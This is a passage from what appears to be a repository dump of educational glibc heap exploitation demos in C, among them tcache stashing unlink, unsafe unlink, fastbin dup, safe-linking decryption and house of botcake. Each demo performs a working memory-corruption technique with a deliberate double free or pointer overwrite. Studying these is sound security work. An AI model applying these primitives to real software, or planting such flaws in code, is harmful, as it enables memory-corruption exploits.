chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.36/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.36/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.37/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.37/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.37/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.37/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.37/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.37/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.37/house_of_einherjar.c",
